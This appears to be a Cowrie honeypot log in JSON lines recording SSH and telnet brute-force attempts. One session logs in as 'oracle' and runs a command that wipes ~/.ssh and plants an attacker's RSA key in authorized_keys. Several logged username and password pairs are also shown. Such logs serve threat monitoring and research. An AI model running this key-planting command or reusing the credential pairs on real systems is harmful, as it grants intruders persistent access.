{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:22:24.134998Z","src_ip":"103.13.206.208","session":"8a00c2b2bacb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"aini130.","message":"login attempt [mysql/aini130.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:22:25.118147Z","src_ip":"103.13.206.208","session":"8a00c2b2bacb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:22:26.359690Z","src_ip":"103.13.206.208","session":"8a00c2b2bacb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":50454,"dst_ip":"159.203.135.109","dst_port":22,"session":"69868537ce54","protocol":"ssh","message":"New connection: 122.168.114.167:50454 (159.203.135.109:22) [session: 69868537ce54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:22:29.822663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:22:33.626495Z","src_ip":"122.168.114.167","session":"69868537ce54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:22:33.629944Z","src_ip":"122.168.114.167","session":"69868537ce54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":43758,"dst_ip":"159.203.135.109","dst_port":23,"session":"c45463e0aa8e","protocol":"telnet","message":"New connection: 185.26.126.47:43758 (159.203.135.109:23) [session: c45463e0aa8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:22:34.276439Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":47370,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf7c4c435c70","protocol":"ssh","message":"New connection: 194.59.206.2:47370 (159.203.135.109:22) [session: cf7c4c435c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:22:47.211194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:22:47.296719Z","src_ip":"194.59.206.2","session":"cf7c4c435c70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:22:47.332164Z","src_ip":"194.59.206.2","session":"cf7c4c435c70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:22:47.491329Z","src_ip":"194.59.206.2","session":"cf7c4c435c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:22:50.742896Z","src_ip":"122.168.114.167","session":"69868537ce54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.0","message":"Connection lost after 25.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:22:54.794490Z","src_ip":"122.168.114.167","session":"69868537ce54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:22:55.206277Z","src_ip":"218.78.46.81","session":"69348224a255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":52854,"dst_ip":"159.203.135.109","dst_port":22,"session":"452af62b8fb8","protocol":"ssh","message":"New connection: 122.168.114.167:52854 (159.203.135.109:22) [session: 452af62b8fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:11.949807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:15.015005Z","src_ip":"122.168.114.167","session":"452af62b8fb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:15.019194Z","src_ip":"122.168.114.167","session":"452af62b8fb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.595252990722656,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:17.871580Z","src_ip":"185.26.126.47","session":"c45463e0aa8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":53184,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4af12a85068","protocol":"ssh","message":"New connection: 210.114.22.126:53184 (10.17.0.5:22) [session: e4af12a85068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:20.969498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:21.271797Z","src_ip":"210.114.22.126","session":"e4af12a85068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:21.471347Z","src_ip":"210.114.22.126","session":"e4af12a85068","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oinstall","message":"login attempt [oracle/oinstall] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:22.583065Z","src_ip":"210.114.22.126","session":"e4af12a85068","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:23.623538Z","src_ip":"210.114.22.126","session":"e4af12a85068","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:23.625869Z","src_ip":"210.114.22.126","session":"e4af12a85068","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:23.628113Z","src_ip":"210.114.22.126","session":"e4af12a85068","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:24.091461Z","src_ip":"210.114.22.126","session":"e4af12a85068","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:24.839899Z","src_ip":"210.114.22.126","session":"e4af12a85068","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:24.842888Z","src_ip":"210.114.22.126","session":"e4af12a85068","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:26.695014Z","src_ip":"210.114.22.126","session":"e4af12a85068","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"1.9","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:26.699132Z","src_ip":"210.114.22.126","session":"e4af12a85068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":54588,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f9eabc3d510","protocol":"ssh","message":"New connection: 210.114.22.126:54588 (10.17.0.5:22) [session: 5f9eabc3d510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:26.901339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:26.997814Z","src_ip":"210.114.22.126","session":"5f9eabc3d510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:27.209591Z","src_ip":"210.114.22.126","session":"5f9eabc3d510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:28.904573Z","src_ip":"210.114.22.126","session":"5f9eabc3d510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:29.006891Z","src_ip":"122.168.114.167","session":"452af62b8fb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:31.209186Z","src_ip":"210.114.22.126","session":"5f9eabc3d510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":55534,"dst_ip":"10.17.0.5","dst_port":22,"session":"40491ef10772","protocol":"ssh","message":"New connection: 210.114.22.126:55534 (10.17.0.5:22) [session: 40491ef10772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:31.610960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:32.116070Z","src_ip":"210.114.22.126","session":"40491ef10772","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:32.318982Z","src_ip":"210.114.22.126","session":"40491ef10772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.5","message":"Connection lost after 21.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:33.430099Z","src_ip":"122.168.114.167","session":"452af62b8fb8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:33.817406Z","src_ip":"210.114.22.126","session":"40491ef10772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:34.926954Z","src_ip":"210.114.22.126","session":"40491ef10772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.3","message":"Connection lost after 14.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:23:35.317735Z","src_ip":"210.114.22.126","session":"e4af12a85068","protocol":"ssh"}
